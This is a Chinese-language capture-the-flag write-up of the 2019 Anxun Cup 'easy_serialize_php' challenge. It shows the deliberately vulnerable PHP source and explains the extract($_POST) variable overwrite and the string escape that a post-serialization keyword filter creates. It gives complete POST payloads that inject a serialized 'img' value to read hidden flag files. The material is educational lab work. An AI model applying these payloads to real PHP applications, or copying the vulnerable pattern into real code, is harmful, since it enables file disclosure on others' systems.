[安洵杯 2019]easy_serialize_php
前几天学了点反序列化,今天练练手
简单地说下序列化和反序列化后的格式
序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。
<?php
$function = @$_GET['f'];//得到f传入的参数
//对输入的$img参数进行检验
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');//定义一些字符数组
$filter = '/'.implode('|',$filter_arr).'/i';//用implode函数将上面的字符数组拼成一个字符串,中间用|隔开也就是'/php|flag|php5|php4|fl1g/ 并且忽略大小写
return preg_replace($filter,'',$img);通过正则表达式将$img变量中的/php|flag|php5|php4|fl1g/的关键字替换成空格
}
//session的初始化
if($_SESSION){
unset($_SESSION);//如果已存在session,会释放,重新生成
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
//extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//将session进行序列化
//这里写了三个文件
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
从上面的代码我们发现了几个文件,我们进phpinfo看看配置文件。
直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名。d0g3_f1ag.php
我们访问下这个文件,但是不行
看到这个
要让base64以后的字符串是d0g3_f1ag.php,那我们就得先加密d0g3_f1ag.php成ZDBnM19mMWFnLnBocA==
而 $ userinfo又是通过$serialize_info反序列化来的。
$serialize_info又是通过session序列化之后再过滤得来的。
也就是session ->(序列化) $serialize_info ->(反序列化) $ userinfo
session里面的img在这里赋值,我们指定的话会被sha1哈希,到时候就不能被base64解密了。这里就到了一个难点了。
payload如下
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为有变量覆盖漏洞,所以它可以直接这样被赋值进去。
序列化以后会变成这样
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
user中的字符串会被过滤变成这样
a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它会往后吞,不管什么符号,都吞掉24个字符。吞完之后变成了这样。
方括号中就是被吞下去的值,有24个字符
a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"a】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
于是括号里的字符串就变成了user的值,这时候我们自己输入的function参数和img参数,就把真的参数替代掉了。
注意格式,我看别人的WP没有function参数也是可以的,但是必须要凑够3个参数,因为一开始序列化的时候指定了有3个参数 。
get传 f=show_image,
post传
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
发现了新的文件
把它放到base64编码,再放到payload中
因为前后两个编码长度一样,所以不用改长度了
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
总结下知识点(我学到的)
1.php中implode的用法是把数组拼接成字符串
2.extract($_POST);有变量覆盖漏洞
3.敏感文件的泄露
4.绕过过滤